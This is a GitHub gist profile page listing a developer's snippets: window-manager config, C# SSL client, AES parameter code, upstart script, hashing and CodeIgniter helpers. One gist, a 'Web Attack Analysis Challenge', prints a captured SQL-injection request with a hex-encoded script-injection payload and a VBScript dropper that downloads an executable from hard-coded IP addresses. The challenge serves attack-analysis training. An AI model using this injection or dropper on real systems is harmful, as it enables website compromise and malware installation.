Skip to content

Instantly share code, notes, and snippets.

View rdev5's full-sized avatar
💭
Note: This account has been moved to @mattborja

Matt Borja rdev5

💭
Note: This account has been moved to @mattborja
View GitHub Profile
// For supplying defaultOptions and providing optional validation
var validateOptions = function(options, defaultOptions, validOptions)
{
if (options === undefined)
return defaultOptions;
var validatedOptions = defaultOptions;
for (var k in options)
{
@rdev5
rdev5 / .slate
Last active August 29, 2015 13:55
Supports full screen, left half, right half, and quarter sections for dual monitors (left half of left screen, right half of left screen, left half of right screen, right half of right screen).
# Configs
config defaultToCurrentScreen true
config nudgePercentOf screenSize
config resizePercentOf screenSize
config secondsBetweenRepeat 0.1
config checkDefaultsOnLoad true
config focusCheckWidthMax 3000
config keyboardLayout dvorak
config windowHintsShowIcons true
config windowHintsIgnoreHiddenWindows false
@rdev5
rdev5 / SecureClient.cs
Last active August 29, 2015 14:19
A utility class for establishing SSL connection with remote web service and returning response in SecureString object. Unit tests included.
using System;
using System.Collections.Specialized;
using System.ComponentModel;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Cryptography.X509Certificates;
using System.Text;
@rdev5
rdev5 / aesNr.c
Created May 19, 2015 18:49
FIPS-197 6.3 Parameterization of Key Length, Block Size, and Round Number - This standard explicitly defines the allowed values for the key length (Nk), block size (Nb), and number of rounds (Nr). However, future reaffirmations of this standard could include changes or additions to the allowed values for those parameters. Therefore, implementers…
/*
* 6.3 Parameterization of Key Length, Block Size, and Round Number
*/
// Number of columns (32-bit words) comprising the State. For this standard, Nb = 4.
void int Nb(int stateLen)
{
return (stateLen * 8) / 32;
}
@rdev5
rdev5 / Analysis Challenge #1
Last active September 22, 2015 21:42 — forked from rcbarnett-zz/Analysis Challenge #1
Web Attack Analysis Challenge #1
Review this HTTP request -
GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522053454c45435420612e6e616d652c622e6e616d652046524f4d207379736f626a6563747320612c737973636f6c756d6e73206220574845524520612e69643d622e696420414e4420612e78747970653d27752720414e442028622e78747970653d3939204f5220622e78747970653d3335204f5220622e78747970653d323331204f5220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d525452494d28434f4e5645525428564152434841522834303030292c5b272b40432b275d29292b27273c736372697074207372633d73646f2e313030306d672e636e2f63737273732f772e6a733e3c2f7363726970743e27272729204645544348204e4558542046524f4d205461626c655f437
{.exec | cmd.exe / c echo > 22222.vbs dim wait, quit, out: Set xml = CreateObject("Microsoft.XMLHTTP"): Set WshShell = Wscript.CreateObject("WScript.Shell"): DS = Array("123.108.109.100", "123.108.109.100:53", "123.108.109.100:443", "178.33.196.164", "178.33.196.164:53", "178.33.196.164:443"): for each Url in DS: wait = true: quit = false: D(Url): if quit then: exit
for: end
if :next: Sub D(Url): if IsObject(xml) = false then: Set xml = CreateObject("Microsoft.XMLHTTP"): end
if :xml.Open "GET",
"http://" ^ & Url ^ & "/getsetup.exe",
True: xml.OnReadyStateChange = GetRef("xmlstat"): out = Now: xml.Send(): while (wait and 60 ^ > abs(datediff("s", Now, out))): wscript.sleep(1000): wend: End Sub: sub xmlstat(): If xml.ReadyState ^ < ^ > 4 Then: exit sub: end
if :wait = false: if xml.status ^ < ^ > 200 then: exit sub: end
if :quit = true: on error resume next: set sGet = CreateObject("ADODB.Stream"): sGet.Mode = 3: sGet.Type = 1: sGet.Open(): sGet.Write xml.ResponseBody: sGet.SaveToFile "ko.exe",
2: End su
@rdev5
rdev5 / MurMurHash3.cs
Last active November 4, 2015 17:25 — forked from automatonic/MurMurHash3.cs
MurMurHash3 .Net (C#) implementation
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TinyWAF.Helpers
{
public static class MurmurHash3
@rdev5
rdev5 / sidekiq.confg
Created May 6, 2013 23:00
Simple upstart script for sidekiq (used with Gitlab on CentOS 6)
start on runlevel [2345]
stop on runlevel [!2345]
respawn limit 3 30
script
exec su - git -c 'cd /home/git/gitlab && export RAILS_ENV=production && bundle exec rake sidekiq:start >> /home/git/gitlab/debug.log'
end script
@rdev5
rdev5 / ActiveRecord.php
Created May 23, 2013 15:55
PHP ActiveRecord ORM library loader for CodeIgniter 2.1.3
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
function initialize_php_activerecord() {
if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 50300)
die('PHP ActiveRecord requires PHP 5.3 or higher');
define('PHP_ACTIVERECORD_VERSION_ID','1.0');
// This constant allows you to prepend your file to the autoload stack rather than append it.
if (!defined('PHP_ACTIVERECORD_AUTOLOAD_PREPEND')) {
@rdev5
rdev5 / MY_Controller.php
Last active December 17, 2015 23:09
Need a simple and effective way to add view partials to your CodeIgniter or PHP application? Try this!
<?php
class MY_Controller extends CI_Controller {
public function _output() {
/*
$use_default_view = FALSE;
if ($this->content_view !== FALSE && empty($this->content_view)) {
$this->content_view = $this->router->class . '/' . $this->router->method;
$use_default_view = TRUE;
}